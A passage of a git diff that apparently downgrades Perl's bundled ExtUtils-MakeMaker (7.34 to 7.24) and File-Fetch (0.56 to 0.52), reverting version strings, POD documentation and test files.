diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm
index a193f3a045c4..779c791297c2 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm
@@ -3,7 +3,7 @@ package ExtUtils::MY;
 use strict;
 require ExtUtils::MM;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 our @ISA = qw(ExtUtils::MM);
 
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm
index 90d9eac49c12..d579256e86e5 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm
@@ -24,7 +24,7 @@ my %Recognized_Att_Keys;
 our %macro_fsentity; # whether a macro is a filesystem name
 our %macro_dep; # whether a macro is a dependency
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;  ## no critic [BuiltinFunctions::ProhibitStringyEval]
 
 # Emulate something resembling CVS $Revision$
@@ -34,7 +34,7 @@ $Revision = int $Revision * 10000;
 our $Filename = __FILE__;   # referenced outside MakeMaker
 
 our @ISA = qw(Exporter);
-our @EXPORT    = qw(&WriteMakefile $Verbose &prompt &os_unsupported);
+our @EXPORT    = qw(&WriteMakefile $Verbose &prompt);
 our @EXPORT_OK = qw($VERSION &neatvalue &mkbootstrap &mksymlists
                     &WriteEmptyMakefile &open_for_writing &write_file_via_tmp
                     &_sprintf562);
@@ -227,10 +227,6 @@ sub prompt ($;$) {  ## no critic
     return (!defined $ans || $ans eq '') ? $def : $ans;
 }
 
-sub os_unsupported {
-    die "OS unsupported\n";
-}
-
 sub eval_in_subdirs {
     my($self) = @_;
     use Cwd qw(cwd abs_path);
@@ -656,6 +652,11 @@ END
         }
     }
 
+    # This is for old Makefiles written pre 5.00, will go away
+    if ( Carp::longmess("") =~ /runsubdirpl/s ){
+        carp("WARNING: Please rerun 'perl Makefile.PL' to regenerate your Makefiles\n");
+    }
+
     my $newclass = ++$PACKNAME;
     local @Parent = @Parent;    # Protect against non-local exits
     {
@@ -1817,7 +1818,7 @@ located in the C directory relative to the PPD itself.
 
 =item BUILD_REQUIRES
 
-Available in version 6.55_03 and above.
+Available in version 6.5503 and above.
 
 A hash of modules that are needed to build your module but not run it.
 
@@ -2069,8 +2070,6 @@ Defaults to $Config{installprivlib}.
 
 =item INSTALLSCRIPT
 
-Available in version 6.30_02 and above.
-
 Used by 'make install' which copies files from INST_SCRIPT to this
 directory if INSTALLDIRS=perl.
 
@@ -2107,9 +2106,7 @@ directory if INSTALLDIRS is set to site (default).
 =item INSTALLVENDORARCH
 
 Used by 'make install', which copies files from INST_ARCHLIB to this
-directory if INSTALLDIRS is set to vendor. Note that if you do not set
-this, the value of INSTALLVENDORLIB will be used, which is probably not
-what you want.
+directory if INSTALLDIRS is set to vendor.
 
 =item INSTALLVENDORBIN
 
@@ -2132,8 +2129,6 @@ If set to 'none', no man pages will be installed.
 
 =item INSTALLVENDORSCRIPT
 
-Available in version 6.30_02 and above.
-
 Used by 'make install' which copies files from INST_SCRIPT to this
 directory if INSTALLDIRS is set to vendor.
 
@@ -2239,15 +2234,11 @@ linkext below).
 
 =item MAGICXS
 
-Available in version 6.8305 and above.
-
 When this is set to C<1>, C will be automagically derived from
 C.
 
 =item MAKE
 
-Available in version 6.30_01 and above.
-
 Variant of make you intend to run the generated Makefile with.  This
 parameter lets Makefile.PL know what make quirks to account for when
 generating the Makefile.
@@ -2419,8 +2410,6 @@ Defaults to false.
 
 =item NO_MYMETA
 
-Available in version 6.57_02 and above.
-
 When true, suppresses the generation of MYMETA.yml and MYMETA.json module
 meta-data files during 'perl Makefile.PL'.
 
@@ -2428,16 +2417,12 @@ Defaults to false.
 
 =item NO_PACKLIST
 
-Available in version 6.7501 and above.
-
 When true, suppresses the writing of C files for installs.
 
 Defaults to false.
 
 =item NO_PERLLOCAL
 
-Available in version 6.7501 and above.
-
 When true, suppresses the appending of installations to C.
 
 Defaults to false.
@@ -2555,8 +2540,6 @@ avoided, it may be undefined)
 
 =item PERM_DIR
 
-Available in version 6.51_01 and above.
-
 Desired permission for directories. Defaults to C<755>.
 
 =item PERM_RW
@@ -2678,14 +2661,10 @@ the installation of a package.
 
 =item PPM_UNINSTALL_EXEC
 
-Available in version 6.8502 and above.
-
 Name of the executable used to run C below. (e.g. perl)
 
 =item PPM_UNINSTALL_SCRIPT
 
-Available in version 6.8502 and above.
-
 Name of the script that gets executed by the Perl Package Manager before
 the removal of a package.
 
@@ -2783,8 +2762,6 @@ Overridable by PREFIX
 
 =item SIGN
 
-Available in version 6.18 and above.
-
 When true, perform the generation and addition to the MANIFEST of the
 SIGNATURE file in the distdir during 'make distdir', via 'cpansign
 -s'.
@@ -2905,8 +2882,6 @@ deleted by a make clean.
 
 =item XSBUILD
 
-Available in version 7.12 and above.
-
 Hashref with options controlling the operation of C:
 
   {
@@ -2939,8 +2914,6 @@ C<$(OBJ_EXT)> appended.
 
 =item XSMULTI
 
-Available in version 7.12 and above.
-
 When this is set to C<1>, multiple XS files may be placed under F
 next to their corresponding C<*.pm> files (this is essential for compiling
 with the correct C values). This feature should be considered
@@ -3041,8 +3014,6 @@ you provide your own C attribute, defaults to false.
 
   {RECURSIVE_TEST_FILES=>1}
 
-This is supported since 6.76
-
 =item tool_autosplit
 
   {MAXLEN => 8}
@@ -3319,17 +3290,6 @@ prevents automated processes from blocking on user input.
 
 If no $default is provided an empty string will be used instead.
 
-=item os_unsupported
-
-  os_unsupported();
-  os_unsupported if $^O eq 'MSWin32';
-
-The C function provides a way to correctly exit your
-C before calling C. It is essentially a
-C with the message "OS unsupported".
-
-This is supported since 7.26
-
 =back
 
 =head2 Supported versions of Perl
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm
index 0d4f8b1e6111..bce9c66dee6e 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm
@@ -2,7 +2,7 @@ package ExtUtils::MakeMaker::Config;
 
 use strict;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 use Config ();
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod
index 0ceb4f766ecd..179c9d6f30a9 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod
@@ -1,6 +1,6 @@
 package ExtUtils::MakeMaker::FAQ;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 1;
@@ -390,9 +390,7 @@ We recommend InfoZIP: L
 
 =head2 XS
 
-=over 4
-
-=item How do I prevent "object version X.XX does not match bootstrap parameter Y.YY" errors?
+=head3 How do I prevent "object version X.XX does not match bootstrap parameter Y.YY" errors?
 
 XS code is very sensitive to the module version number and will
 complain if the version number in your Perl module doesn't match.  If
@@ -407,15 +405,13 @@ WriteMakefile() arguments.
     depend => { '$(FIRST_MAKEFILE)' => '$(VERSION_FROM)' }
 
 
-=item How do I make two or more XS files coexist in the same directory?
+=head3 How do I make two or more XS files coexist in the same directory?
 
 Sometimes you need to have two and more XS files in the same package.
 There are three ways: C, separate directories, and bootstrapping
 one XS from another.
 
-=over 8
-
-=item XSMULTI
+=head4 XSMULTI
 
 Structure your modules so they are all located under F, such that
 C is in F and F, etc. Have your
@@ -423,14 +419,14 @@ top-level C set the variable C to a true value.
 
 Er, that's it.
 
-=item Separate directories
+=head4 Separate directories
 
 Put each XS files into separate directories, each with their own
 F. Make sure each of those Fs has the correct
 C, C, C etc. You will need to make sure the top-level
 F refers to each of these using C.
 
-=item Bootstrapping
+=head4 Bootstrapping
 
 Let's assume that we have a package C, which includes
 C and C modules each having a separate XS
@@ -550,8 +546,6 @@ and L.
 
 =back
 
-=back
-
 =head1 DESIGN
 
 =head2 MakeMaker object hierarchy (simplified)
@@ -613,7 +607,7 @@ ExtUtils::Makemaker, ExtUtils::Liblist and ExtUtils::MM_{Current OS}
 NOTE: The methods in MY are simply copied into PACK### rather than
 MY being a superclass of PACK###.  I don't remember the rationale.
 
-NOTE: ExtUtils::Liblist should be removed from the inheritance hiearchy
+NOTE: ExtUtils::Liblist should be removed from the inheritence hiearchy
 and simply be called as functions.
 
 NOTE: Modules like File::Spec and Exporter have been omitted for clarity.
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
index 6d97df06f61c..bec2cc15a481 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
@@ -1,7 +1,7 @@
 package ExtUtils::MakeMaker::Locale;
 
 use strict;
-our $VERSION = "7.34";
+our $VERSION = "7.24";
 $VERSION = eval $VERSION;
 
 use base 'Exporter';
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod
index b49e44483300..76c08d1bed99 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod
@@ -1,6 +1,6 @@
 package ExtUtils::MakeMaker::Tutorial;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 
@@ -125,10 +125,10 @@ Simply add another entry in the test location string. For example, to test:
 
 You would use the following C directive:
 
-    test => {TESTS => 't/*.t t/*/*/*.t'}
+    test => {TESTS => 't/*.t t/*/*/*.t}
 
 Note that in the above example, tests in the first subdirectory will not be
-run. To run all tests in the intermediary subdirectory preceding the one
+run. To run all tests in the intermediary subdirectory preceeding the one
 the test files are in, you need to explicitly note it:
 
     test => {TESTS => 't/*.t t/*/*.t t/*/*/*.t'}
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
index c59be1eeee71..bcfaaa342c52 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
@@ -15,7 +15,7 @@ use strict;
 
 use vars qw(@ISA $VERSION $CLASS $STRICT $LAX *declare *qv);
 
-$VERSION = '7.34';
+$VERSION = '7.24';
 $VERSION = eval $VERSION;
 $CLASS = 'version';
 
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
index f0eb14eacb48..025590956135 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
@@ -10,7 +10,7 @@ use strict;
 
 use vars qw($VERSION $CLASS $STRICT $LAX);
 
-$VERSION = '7.34';
+$VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 #--------------------------------------------------------------------------#
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm
index 0d4c1a209098..5eea8bc67e4c 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm
@@ -3,7 +3,7 @@ package ExtUtils::Mkbootstrap;
 # There's just too much Dynaloader incest here to turn on strict vars.
 use strict 'refs';
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require Exporter;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm
index 0ec5f9dbdfd0..0cfb22ac28f4 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm
@@ -10,7 +10,7 @@ use Config;
 
 our @ISA = qw(Exporter);
 our @EXPORT = qw(&Mksymlists);
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 sub Mksymlists {
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm
index 01b46ee45a51..0e774664ffa8 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm
@@ -3,7 +3,7 @@ package ExtUtils::testlib;
 use strict;
 use warnings;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 use Cwd;
diff --git a/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t b/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
index bfe3dc96c387..1d748ebd4c7b 100644
--- a/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
+++ b/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
@@ -3,24 +3,21 @@
 use strict;
 use warnings;
 use Config;
-
-my $release;
-
 BEGIN {
-    $release = ( -d '.git' ? 1 : 0 );
     chdir 't' or die "chdir(t): $!\n";
     unshift @INC, 'lib/';
 }
-
 use MakeMaker::Test::Utils;
 use MakeMaker::Test::Setup::XS;
 use Test::More;
 
+plan skip_all => "Disabled as broken perl installs give false negative"
+  # if not static perl, and not author
+  unless !$Config{usedl} or $ENV{AUTHOR_TESTING};
 plan skip_all => "ExtUtils::CBuilder not installed or couldn't find a compiler"
   unless have_compiler();
 plan skip_all => 'Shared perl library' if $Config{useshrplib} eq 'true';
-plan skip_all => $^O if $^O =~ m!^(MSWin32|cygwin|haiku|darwin)$!;
-plan skip_all => 'Skipped when not PERL_CORE or in git repo' unless $ENV{PERL_CORE} or $release;
+plan skip_all => $^O if $^O =~ m!^(MSWin32|cygwin|haiku)$!;
 my @tests = list_static();
 plan skip_all => "No tests" unless @tests;
 plan tests => 6 * @tests;
diff --git a/cpan/ExtUtils-MakeMaker/t/MM_Unix.t b/cpan/ExtUtils-MakeMaker/t/MM_Unix.t
index 388bc545cd2b..9a8d18f39562 100644
--- a/cpan/ExtUtils-MakeMaker/t/MM_Unix.t
+++ b/cpan/ExtUtils-MakeMaker/t/MM_Unix.t
@@ -12,7 +12,7 @@ BEGIN {
         plan skip_all => 'Non-Unix platform';
     }
     else {
-        plan tests => 113;
+        plan tests => 110;
     }
 }
 
@@ -150,9 +150,6 @@ is ($t->has_link_code(),1); is ($t->{HAS_LINK_CODE},1);
 ###############################################################################
 # libscan
 
-is ($t->libscan('Readme.pod'),      '', 'libscan excludes base Readme.pod');
-is ($t->libscan('README.pod'),      '', 'libscan excludes base README.pod');
-is ($t->libscan('lib/Foo/README.pod'),      'lib/Foo/README.pod', 'libscan accepts README.pod in a subdirectory');
 is ($t->libscan('foo/RCS/bar'),     '', 'libscan on RCS');
 is ($t->libscan('CVS/bar/car'),     '', 'libscan on CVS');
 is ($t->libscan('SCCS'),            '', 'libscan on SCCS');
diff --git a/cpan/ExtUtils-MakeMaker/t/basic.t b/cpan/ExtUtils-MakeMaker/t/basic.t
index 534bf219f6c7..c98e28c6537f 100644
--- a/cpan/ExtUtils-MakeMaker/t/basic.t
+++ b/cpan/ExtUtils-MakeMaker/t/basic.t
@@ -24,7 +24,7 @@ use ExtUtils::MM;
 use Test::More
     !MM->can_run(make()) && $ENV{PERL_CORE} && $Config{'usecrosscompile'}
     ? (skip_all => "cross-compiling and make not available")
-    : (tests => 188);
+    : (tests => 186);
 use File::Find;
 use File::Spec;
 use File::Path;
@@ -367,7 +367,7 @@ note "META file validity"; SKIP: {
       "MANIFEST has META.yml"
     );
     is( $manifest->{'meta.json'}, 'Module JSON meta-data (added by MakeMaker)',
-      "MANIFEST has META.json"
+      "MANFIEST has META.json"
     );
 
     # Test NO_META META.yml suppression
@@ -438,12 +438,8 @@ note "META file validity"; SKIP: {
 }
 
 
+
 # Make sure init_dirscan doesn't go into the distdir
-# also with a "messup.PL" that will make a build fail
-open $fh, '>', 'messup.PL' or die "messup.PL: $!";
-print $fh 'print "Extracting messup (with variable substitutions)\n";' . "\n";
-print $fh 'die';
-close $fh;
 @mpl_out = run(qq{$perl Makefile.PL "PREFIX=$DUMMYINST"});
 
 cmp_ok( $?, '==', 0, 'Makefile.PL exited with zero' ) || diag(@mpl_out);
@@ -452,14 +448,6 @@ ok( grep(/^Writing $makefile for Big::Dummy/, @mpl_out) == 1,
                                 'init_dirscan skipped distdir') ||
   diag(@mpl_out);
 
-# "make test" straight after "perl Makefile.PL" is expected to work same as
-#   "make all test" so check that with "messup.PL" that will make the
-#   build step fail
-$test_out = run("$make test");
-unlike( $test_out, qr/All tests successful/, 'make test caused build' );
-isnt( $?, 0,                                 '  build should fail' ) ||
-    diag $test_out;
-
 # I know we'll get ignored errors from make here, that's ok.
 # Send STDERR off to oblivion.
 open(SAVERR, ">&STDERR") or die $!;
@@ -467,7 +455,6 @@ open(STDERR, ">",File::Spec->devnull) or die $!;
 
 my $realclean_out = run("$make realclean");
 is( $?, 0, 'realclean' ) || diag($realclean_out);
-1 while unlink 'messup.PL'; # also zap deliberate build-breaker
 
 open(STDERR, ">&SAVERR") or die $!;
 close SAVERR;
diff --git a/cpan/ExtUtils-MakeMaker/t/eu_command.t b/cpan/ExtUtils-MakeMaker/t/eu_command.t
index 32a6f59dcab1..269aa5c9a4c9 100644
--- a/cpan/ExtUtils-MakeMaker/t/eu_command.t
+++ b/cpan/ExtUtils-MakeMaker/t/eu_command.t
@@ -151,21 +151,20 @@ BEGIN {
         is( ((stat('testdir'))[2] & 07777) & 0700,
             0100, 'change a dir to execute-only' );
 
-        # change a dir to write-only
-        @ARGV = ( '0200', 'testdir' );
+        # change a dir to read-only
+        @ARGV = ( '0400', 'testdir' );
         ExtUtils::Command::chmod();
 
         is( ((stat('testdir'))[2] & 07777) & 0700,
-            0200, 'change a dir to write-only' );
+            0400, 'change a dir to read-only' );
 
-        # change a dir to read-only
-        @ARGV = ( '0400', 'testdir' );
+        # change a dir to write-only
+        @ARGV = ( '0200', 'testdir' );
         ExtUtils::Command::chmod();
 
         is( ((stat('testdir'))[2] & 07777) & 0700,
-            0400, 'change a dir to read-only' );
+            0200, 'change a dir to write-only' );
 
-        # remove the dir we've been playing with
         @ARGV = ('testdir');
         rm_rf;
         ok( ! -e 'testdir', 'rm_rf can delete a read-only dir' );
diff --git a/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm b/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm
index 3d1f57e6bd6c..f557875c048f 100644
--- a/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm
+++ b/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm
@@ -19,8 +19,7 @@ use ExtUtils::MM;
 my $tempdir = tempdir(DIR => getcwd, CLEANUP => 1);
 chdir $tempdir;
 my $typemap = 'type map';
-my $MM = MM->new({NAME=>'name', NORECURS=>1});
-$typemap =~ s/ //g unless $MM->can_dep_space;
+$typemap =~ s/ //g unless MM->new({NAME=>'name', NORECURS=>1})->can_dep_space;
 chdir File::Spec->updir;
 
 my $PM_TEST = <<'END';
@@ -149,11 +148,6 @@ $label2files{static} = +{
     $MAKEFILEPL, 'Test', 'lib/XS/Test.pm', qq{'$typemap'},
     q{LINKTYPE => 'static'},
   ),
-  "blib/arch/auto/share/dist/x-y/libwhatevs$MM->{LIB_EXT}" => 'hi there', # mimic what File::ShareDir can do
-  "blib/arch/auto/Alien/ROOT/root/lib/root/root$MM->{LIB_EXT}" => 'hi there', # mimic Alien::ROOT that installs a .a without extralibs.ld
-  # next two mimic dist that installs a .a WITH extralibs.ld but that is still not XS
-  "blib/arch/auto/Dist/File$MM->{LIB_EXT}" => 'hi there',
-  "blib/arch/auto/Dist/extralibs.ld" => '',
 };
 
 $label2files{subdirs} = +{
@@ -217,71 +211,6 @@ $label2files{subdirsstatic} = +{
   ),
 };
 
-# to mimic behaviour of CGI-Deurl-XS version 0.08
-my $OTHERMAKEFILE = File::Spec->catfile('Other', makefile_name());
-$label2files{subdirsskip} = +{
-  %{ $label2files{subdirscomplex} }, # make copy
-  'Makefile.PL' => sprintf(
-    $MAKEFILEPL,
-    'Test', 'Test.pm', qq{},
-    q[
-MYEXTLIB => '] . File::Spec->catfile('Other', 'libparser$(LIB_EXT)') . q[',
-     ]
-  )
-  . q[
-sub MY::postamble {
-    my ($self) = @_;
-    return '$(MYEXTLIB) : ] . $OTHERMAKEFILE . q['."\n\t".$self->cd('Other', '$(MAKE) $(PASSTHRU)')."\n";
-}
-     ],
-  'Other/Makefile.PL' => sprintf(
-    $MAKEFILEPL,
-    'Other', 'Other.pm', qq{},
-    <<'EOF',
-SKIP   => [qw(all static dynamic )],
-clean  => {'FILES' => 'libparser$(LIB_EXT)'},
-EOF
-  ) . <<'EOF',
-sub MY::top_targets {
-  my ($self) = @_;
-  my $static_lib_pure_cmd = $self->static_lib_pure_cmd('$(O_FILES)');
-  <<'SNIP' . $static_lib_pure_cmd;
-all :: static
-
-pure_all :: static
-
-static :: libparser$(LIB_EXT)
-
-libparser$(LIB_EXT): $(O_FILES)
-SNIP
-}
-EOF
-  't/plus1.t' => <<'END',
-#!/usr/bin/perl -w
-use Test::More tests => 2;
-use_ok "XS::Test";
-is XS::Test::plus1(3), 4;
-END
-  'Test.xs' => <updir or die;
-  if ($ENV{EUMM_KEEP_TESTDIRS}) {
-    ok 1, "don't teardown $dir";
-  } else {
-    ok rmtree($dir), "teardown $dir";
-  }
+  ok rmtree($dir), "teardown $dir";
 }
 
 1;
diff --git a/cpan/ExtUtils-MakeMaker/t/metafile_data.t b/cpan/ExtUtils-MakeMaker/t/metafile_data.t
index bb3670aa773f..01d72d81d073 100644
--- a/cpan/ExtUtils-MakeMaker/t/metafile_data.t
+++ b/cpan/ExtUtils-MakeMaker/t/metafile_data.t
@@ -17,7 +17,7 @@ use File::Temp;
 use Cwd;
 use MakeMaker::Test::Utils;
 
-plan tests => 35;
+plan tests => 31;
 require ExtUtils::MM_Any;
 
 sub mymeta_ok {
@@ -262,110 +262,6 @@ my @GENERIC_OUT = (
     },'TEST_REQUIRES meta-spec 2.0';
 }
 
-{
-    my $mm = $new_mm->(
-        @GENERIC_IN,
-    );
-    is_deeply $mm->metafile_data(
-        {
-            resources => {
-                homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
-                repository => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
-            },
-        },
-        { @METASPEC14 },
-    ), {
-        prereqs => { @REQ20 },
-        resources => {
-            homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
-            repository => {
-                url => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
-            },
-        },
-        @GENERIC_OUT,
-    }, 'META_ADD takes meta version 1.4 from META_MERGE';
-}
-
-{
-    my $mm = $new_mm->(
-        @GENERIC_IN,
-    );
-    is_deeply $mm->metafile_data(
-        { @METASPEC14 },
-        {
-            resources => {
-                homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
-                repository => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
-            },
-        },
-    ), {
-        prereqs => { @REQ20 },
-        resources => {
-            homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
-            repository => {
-                url => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
-            },
-        },
-        @GENERIC_OUT,
-    }, 'META_MERGE takes meta version 1.4 from META_ADD';
-}
-
-{
-    my $mm = $new_mm->(
-        @GENERIC_IN,
-    );
-    is_deeply $mm->metafile_data(
-        {
-            'configure_requires' => {
-                'Fake::Module1' => 1,
-            },
-            'prereqs' => {
-                @REQ20,
-                'test' => {
-                    'requires' => {
-                        'Fake::Module2' => 2,
-                    },
-                },
-            },
-        },
-        { @METASPEC20 },
-    ), {
-        prereqs => {
-            @REQ20,
-            test => { requires => { "Fake::Module2" => 2, }, },
-        },
-        @GENERIC_OUT,
-    }, 'META_ADD takes meta version 2 from META_MERGE';
-}
-
-{
-    my $mm = $new_mm->(
-        @GENERIC_IN,
-    );
-    is_deeply $mm->metafile_data(
-        { @METASPEC20 },
-        {
-            'configure_requires' => {
-                'Fake::Module1' => 1,
-            },
-            'prereqs' => {
-                @REQ20,
-                'test' => {
-                    'requires' => {
-                        'Fake::Module2' => 2,
-                    },
-                },
-            },
-        },
-    ), {
-        prereqs => {
-            @REQ20,
-            test => { requires => { "Fake::Module2" => 2, }, },
-        },
-        @GENERIC_OUT,
-    }, 'META_MERGE takes meta version 2 from META_ADD';
-}
-
 # Test _REQUIRES key priority over META_ADD
 {
     my $mm = $new_mm->(
diff --git a/cpan/ExtUtils-MakeMaker/t/os_unsupported.t b/cpan/ExtUtils-MakeMaker/t/os_unsupported.t
deleted file mode 100644
index 42396c0547ec..000000000000
--- a/cpan/ExtUtils-MakeMaker/t/os_unsupported.t
+++ /dev/null
@@ -1,15 +0,0 @@
-#!/usr/bin/perl -w
-
-BEGIN {
-    unshift @INC, 't/lib';
-}
-
-use strict;
-use Test::More tests => 1;
-use ExtUtils::MakeMaker;
-
-eval q{
-    os_unsupported();
-};
-
-like( $@, qr/^OS unsupported$/, 'OS Unsupported' );
diff --git a/cpan/ExtUtils-MakeMaker/t/parse_version.t b/cpan/ExtUtils-MakeMaker/t/parse_version.t
index 2dbd064c035b..0e6a84297000 100644
--- a/cpan/ExtUtils-MakeMaker/t/parse_version.t
+++ b/cpan/ExtUtils-MakeMaker/t/parse_version.t
@@ -23,7 +23,7 @@ my %versions = (q[$VERSION = '1.00']            => '1.00',
                 '$VERSION = undef'              => 'undef',
                 '$wibble  = 1.0'                => undef,
                 q[my $VERSION = '1.01']         => 'undef',
-                q[local $VERSION = '1.02']      => 'undef',
+                q[local $VERISON = '1.02']      => 'undef',
                 q[local $FOO::VERSION = '1.30'] => 'undef',
                 q[if( $Foo::VERSION >= 3.00 ) {]=> 'undef',
                 q[our $VERSION = '1.23';]       => '1.23',
diff --git a/cpan/File-Fetch/lib/File/Fetch.pm b/cpan/File-Fetch/lib/File/Fetch.pm
index 90c62e96bee4..acfa442841af 100644
--- a/cpan/File-Fetch/lib/File/Fetch.pm
+++ b/cpan/File-Fetch/lib/File/Fetch.pm
@@ -22,13 +22,13 @@ use vars    qw[ $VERBOSE $PREFER_BIN $FROM_EMAIL $USER_AGENT
                 $FTP_PASSIVE $TIMEOUT $DEBUG $WARN $FORCEIPV4
             ];
 
-$VERSION        = '0.56';
+$VERSION        = '0.52';
 $VERSION        = eval $VERSION;    # avoid warnings with development releases
 $PREFER_BIN     = 0;                # XXX TODO implement
 $FROM_EMAIL     = 'File-Fetch@example.com';
 $USER_AGENT     = "File::Fetch/$VERSION";
 $BLACKLIST      = [qw|ftp|];
-push @$BLACKLIST, qw|lftp| if $^O eq 'dragonfly' || $^O eq 'hpux';
+push @$BLACKLIST, qw|lftp| if $^O eq 'dragonfly';
 $METHOD_FAIL    = { };
 $FTP_PASSIVE    = 1;
 $TIMEOUT        = 0;
diff --git a/cpan/File-Fetch/t/01_File-Fetch.t b/cpan/File-Fetch/t/01_File-Fetch.t
index 35f5c3ac2634..379ada9ebeff 100644
--- a/cpan/File-Fetch/t/01_File-Fetch.t
+++ b/cpan/File-Fetch/t/01_File-Fetch.t
@@ -195,15 +195,14 @@ for my $entry (@map) {
 ### Heuristics
 {
   require IO::Socket::INET;
-  my $sock = IO::Socket::INET->new( PeerAddr => 'httpbin.org', PeerPort => 80, Timeout => 20 )
+  my $sock = IO::Socket::INET->new( PeerAddr => 'www.cpan.org', PeerPort => 80, Timeout => 20 )
      or $heuristics{http} = 0;
 }
 
 ### http:// tests ###
-{   for my $uri ( 'http://httpbin.org/html',
-                  'http://httpbin.org/response-headers?q=1',
-                  'http://httpbin.org/response-headers?q=1&y=2',
-                  #'http://www.cpan.org/index.html?q=1&y=2',
+{   for my $uri ( 'http://www.cpan.org/index.html',
+                  'http://www.cpan.org/index.html?q=1',
+                  'http://www.cpan.org/index.html?q=1&y=2',
                   #'http://user:passwd@httpbin.org/basic-auth/user/passwd',
     ) {
         for (qw[lwp httptiny wget curl lftp fetch lynx httplite iosock]) {
diff --git a/cpan/File-Path/lib/File/Path.pm b/cpan/File-Path/lib/File/Path.pm
index b4fb5a2c483b..034da1e578d2 100644
--- a/cpan/File-Path/lib/File/Path.pm
+++ b/cpan/File-Path/lib/File/Path.pm
@@ -18,7 +18,7 @@ BEGIN {
 
 use Exporter ();
